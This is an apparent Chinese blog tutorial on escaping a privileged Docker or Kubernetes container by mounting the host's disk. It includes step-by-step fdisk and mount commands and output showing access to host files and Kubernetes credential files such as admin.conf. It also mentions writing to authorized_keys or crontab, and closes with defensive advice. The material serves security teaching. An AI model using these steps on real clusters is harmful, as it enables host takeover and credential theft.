Kubernetes攻防 privileged 容器内 mount device

liao__ran2026-04-29 13:35

privileged 容器内 mount device

rivileged 特权容器是业界最常见以及最广为人知的逃逸手法，对容器安全有一定要求的产品一般都会严格限制特权容器的使用和监控

privileged 特权容器的权限其实有很多，所以也有很多不同的逃逸方式，挂载设备读写宿主机文件是特权容器最常见的逃逸方式之一

docker 启动一个特权的容器，然后使用 fdisk -l 查看磁盘情况

shell 复制代码 
[root@localhost ~]# docker run -it --privileged 192.168.101.99:80/base/centos:8 /bin/bash

当你进入 privileged 特权容器内部时，你可以使用 fdisk -l 查看宿主机的磁盘设备

shell 复制代码 
[root@73e9b671db4b /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf

Device         Boot   Start       End   Sectors  Size Id Type
/dev/nvme0n1p1 *       2048   2099199   2097152    1G 83 Linux
/dev/nvme0n1p2      2099200 419416063 417316864  199G 8e Linux LVM

Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

在特权容器里，你可以把宿主机里的根目录 / 挂载到容器内部，从而去操作宿主机内的任意文件，例如 crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件，而达到逃逸的目的

shell 复制代码 
# 查看可用磁盘设备
fdisk -l
# 创建挂载点
mkdir /mnt/host_root
# 挂载宿主机根目录，若是挂载失败，可以选择其他磁盘挂载
mount /dev/nvme0n1p2 /mnt/host_root
# mount /dev/dm-0 /mnt/host_root
# 访问宿主机文件系统
ls -la /mnt/host_root

# 详细操作如下 
[root@43b992f1bac6 /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf

Device         Boot   Start       End   Sectors  Size Id Type
/dev/nvme0n1p1 *       2048   2099199   2097152    1G 83 Linux
/dev/nvme0n1p2      2099200 419416063 417316864  199G 8e Linux LVM

Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

[root@43b992f1bac6 /]# mount /dev/nvme0n1p2 /mnt/host_root
mount: /mnt/host_root: unknown filesystem type 'LVM2_member'.
[root@43b992f1bac6 /]# mount /dev/dm-0 /mnt/host_root
[root@43b992f1bac6 /]# ls /mnt/host_root/
bin  boot  dev  etc  home  lib lib64  media  mnt  opt proc  root  run  sbin  srv  sys  tmp  usr  var
[root@43b992f1bac6 /]# cd /mnt/host_root/root/
[root@43b992f1bac6 root]# ls
[root@43b992f1bac6 root]# pwd
/mnt/host_root/root

# 在主机上写入一个文件
[root@localhost ~]# echo ksadfsdfaslkajldsfjlasdfjljas > information 
[root@localhost ~]# cat information 
ksadfsdfaslkajldsfjlasdfjljas

# 在容器中查看文件内容
[root@43b992f1bac6 root]# ls
anaconda-ks.cfg  information
[root@43b992f1bac6 root]# 
[root@43b992f1bac6 root]# 
[root@43b992f1bac6 root]# cat information 
ksadfsdfaslkajldsfjlasdfjljas
不在 privileged 容器内部，是没有权限查看磁盘列表并操作挂载
shell 复制代码 
[root@localhost ~]# docker run -it 192.168.101.99:80/base/centos:8 /bin/bash
[root@7b11178b545b /]# 
[root@7b11178b545b /]# fdisk -l
[root@7b11178b545b /]#

k8s 中启动一个特权容器

yaml 复制代码 
# /data/k8s/privileged-pod.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: privileged-centos
  namespace: default
  labels:
    app: privileged-centos
spec:
  replicas: 1
  selector:
    matchLabels:
      app: privileged-centos
  template:
    metadata:
      labels:
        app: privileged-centos
    spec:
      containers:
        - name: centos
          image: 192.168.101.99:80/base/centos:8
          command: ["/bin/sleep", "infinity"]
          securityContext:
            privileged: true
创建容器，然后进行操作
shell 复制代码 
[root@localhost ~]# kubectl create -f /data/k8s/privileged-pod.yaml 
deployment.apps/privileged-centos created
[root@localhost ~]# kubectl get pods 
NAME                                 READY   STATUS              RESTARTS   AGE
privileged-centos-576b686949-tk9c5   0/1     ContainerCreating   0          4s
[root@localhost ~]# 
[root@localhost ~]# 
[root@localhost ~]# kubectl get pods 
NAME                                 READY   STATUS    RESTARTS   AGE
privileged-centos-576b686949-tk9c5   1/1     Running   0          61s

# 连接容器，并测试 fdisk -l 命令
[root@localhost ~]# kubectl exec -it `kubectl get pods|grep privileged-centos|awk '{print $1}'` /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
[root@privileged-centos-576b686949-tk9c5 /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf

Device         Boot   Start       End   Sectors  Size Id Type
/dev/nvme0n1p1 *       2048   2099199   2097152    1G 83 Linux
/dev/nvme0n1p2      2099200 419416063 417316864  199G 8e Linux LVM

Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
[root@privileged-centos-576b686949-tk9c5 /]# 

# 进行挂载操作，并查看宿主机上的文件
[root@privileged-centos-576b686949-tk9c5 /]# mkdir /mnt/host_root
[root@privileged-centos-576b686949-tk9c5 /]# mount /dev/nvme0n1p2 /mnt/host_root
mount: /mnt/host_root: unknown filesystem type 'LVM2_member'.
[root@privileged-centos-576b686949-tk9c5 /]# mount /dev/dm-0 /mnt/host_root
[root@privileged-centos-576b686949-tk9c5 /]# ls -la /mnt/host_root/etc/kubernetes/
total 56
drwxr-xr-x   7 root root 4096 Dec 13 13:44 .
drwxr-xr-x. 91 root root 8192 Apr 25 06:31 ..
-rw-------   1 root root 5529 Dec 13 13:44 admin.conf
drwx------   3 root root   18 Dec 13 13:42 backup
drwxr-xr-x   2 root root    6 Dec 13 13:43 config
-rw-------   1 root root 5565 Dec 13 13:44 controller-manager.conf
-rw-r--r--   1 root root 5225 Dec 13 13:43 kubeadm-config.yaml
-rw-------   1 root root 3679 Dec 13 13:44 kubelet.conf
drwx------   2 root root  171 Dec 13 13:44 manifests
drwxr-xr-x   3 root root 4096 Dec 13 13:43 pki
drwxr-xr-x   3 root root   23 Dec 13 13:42 plugins
-rw-------   1 root root 5513 Dec 13 13:44 scheduler.conf
[root@privileged-centos-576b686949-tk9c5 /]# ls /mnt/host_root/root/.kube/
config

这类的文件的读写是 EDR 和 HIDS 重点监控的对象，所以是极易触发告警的；即使 HIDS 不一定有针对容器安全的特性进行优化，对此类的逃逸行为依旧有一些检测能力

防御建议

text 复制代码 
1、避免使用 --privileged 特权容器，除非绝对必要
2、使用 Pod Security Policies (PSP) 或 Pod Security Standards (PSS) 限制容器权限
3、实施最小权限原则，仅授予容器所需的最小权限
4、监控特权容器的创建和使用情况
相关推荐
IT策士5 分钟前
k8s 常见面试问题
容器·面试·kubernetes
鹤落晴春20 分钟前
【K8s】资源配额与访问控制
docker·容器·kubernetes
蘋天纬地22 分钟前
k8s中的工作负载是什么，都有哪几种类型的工作负载
云原生·容器·kubernetes
qq_4523962334 分钟前
第一篇：《Kubernetes 是什么？为什么它是云原生基石？》
云原生·容器·kubernetes
ggaofeng10 小时前
glusterfs如何在k8s中使用
云原生·容器·kubernetes·glusterfs
IT策士11 小时前
第49篇 k8s之服务网格入门：Istio 简介
容器·kubernetes·istio
张忠琳14 小时前
【client-go v0.36.1】LeaderElection 深度分析（上篇）— 模块定位、结构、LeaderElector 核心逻辑
云原生·kubernetes·client-go·leaderelection
牛奶咖啡1315 小时前
k8s容器编排技术实践——K8s中服务发现ingress、ingress controller 应用实践
kubernetes·服务发现·ingress·ingress-nginx·部署ingress-nginx·部署ingress的三种方法·ingress的服务发现原理
张忠琳16 小时前
【client-go v0.36.1】tools/cache 深度分析（中篇）— 辅助组件逐行解析
云原生·kubernetes·cache·informer·client-go
张忠琳21 小时前
【client-go v0.36.1】WorkQueue 深度分析（下篇）— 限流队列、限流器、指标、并行化
云原生·kubernetes·informer·workqueue·client-go
热门推荐
01GitHub 镜像站点02【AI】2026 年具身智能模型和世界模型总结032026 年 AI 编程工具终极横评：Cursor vs Claude Code vs Copilot vs Windsurf04Codex 下载安装指南：Windows 和 macOS 官方版下载05Agnes AI 全模态 API 免费实测报告：文生图 + 文生视频完整测试06【踩坑记录 | 第一篇】微软商店无法使用时，如何手动安装 OpenAI Codex？附`.msix`文件系统错误解决方法07CC-Switch & Claude 基于 Linux 服务器安装使用指南08Codex 桌面端更新后 Chrome 插件和 Computer Use 不可用，怎么排查和修复09CC-Switch 下载、安装与使用配置指南【2026.5.29】102026 AI 编程工具终极实战指南：Cursor vs Claude Code vs Copilot，开发者该怎么选？